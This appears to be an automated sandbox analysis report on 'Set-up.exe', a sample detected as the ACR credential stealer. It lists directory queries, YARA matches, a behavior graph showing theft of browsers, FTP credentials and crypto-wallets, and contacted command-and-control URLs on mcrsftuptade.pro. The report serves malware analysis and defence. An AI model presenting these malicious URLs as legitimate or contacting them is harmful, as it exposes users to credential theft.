Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents\MNULNCRIYC Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents\XZXHAVGRAG Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents\XZXHAVGRAG Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents\ZBEDCJPBEY Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents\ZBEDCJPBEY Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents\AFWAAFRXKO Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents\AFWAAFRXKO Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents\DTBZGIOOSO Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents\DTBZGIOOSO Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents\XZXHAVGRAG Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents\XZXHAVGRAG Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents\ZBEDCJPBEY Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents\ZBEDCJPBEY Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents\AFWAAFRXKO Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents\AFWAAFRXKO Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents\DTBZGIOOSO Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents\DTBZGIOOSO Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents\MNULNCRIYC Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents\MNULNCRIYC Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents\DTBZGIOOSO Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents\DTBZGIOOSO Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents\DVWHKMNFNN Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents\DVWHKMNFNN Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents\RAYHIWGKDI Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents\RAYHIWGKDI Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents\TQDGENUHWP Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents\TQDGENUHWP Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents\DTBZGIOOSO Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents\DTBZGIOOSO Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents\ZBEDCJPBEY Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents\ZBEDCJPBEY Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents\AFWAAFRXKO Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents\AFWAAFRXKO Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\Public\Documents Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\Public\Documents Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\Public\Documents Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\Public\Documents Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\Public\Documents Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\Public\Documents Jump to behavior
Yara detected Credential Stealer
Source: Yara match File source: 00000000.00000002.1544669791.0000000004100000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: Set-up.exe PID: 7572, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected ACR Stealer
Source: Yara match File source: Process Memory Space: Set-up.exe PID: 7572, type: MEMORYSTR
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 1686586 Sample: Set-up.exe Startdate: 10/05/2025 Architecture: WINDOWS Score: 100 33 Suricata IDS alerts for network traffic 2->33 35 Antivirus detection for URL or domain 2->35 37 Yara detected ACR Stealer 2->37 39 Joe Sandbox ML detected suspicious sample 2->39 7 Set-up.exe 2->7         started        process3 dnsIp4 31 188.114.96.3, 49721, 49722, 49725 CLOUDFLARENETUS European Union 7->31 41 Found many strings related to Crypto-Wallets (likely being stolen) 7->41 43 Tries to harvest and steal ftp login credentials 7->43 45 Tries to harvest and steal browser information (history, passwords, etc) 7->45 47 7 other signatures 7->47 11 chrome.exe 7->11         started        13 chrome.exe 7->13         started        15 chrome.exe 7->15         started        17 chrome.exe 7->17         started        signatures5 process6 process7 19 WerFault.exe 16 11->19         started        21 WerFault.exe 16 11->21         started        23 WerFault.exe 16 13->23         started        25 WerFault.exe 16 13->25         started        27 WerFault.exe 16 15->27         started        29 WerFault.exe 16 15->29         started       
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
188.114.96.3
 unknown European Union 13335 CLOUDFLARENETUS true

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://mcrsftuptade.pro/ujs/f1575b64-8492-4e8b-b102-4d26e8c70371 true
  • Avira URL Cloud: malware
 unknown
http://mcrsftuptade.pro/Up/g true
  • Avira URL Cloud: malware
 unknown
http://mcrsftuptade.pro/Up true
  • Avira URL Cloud: malware
 unknown
http://mcrsftuptade.pro/Up/p true
  • Avira URL Cloud: malware
 unknown
http://mcrsftuptade.pro/Up/b true
  • Avira URL Cloud: malware
 unknown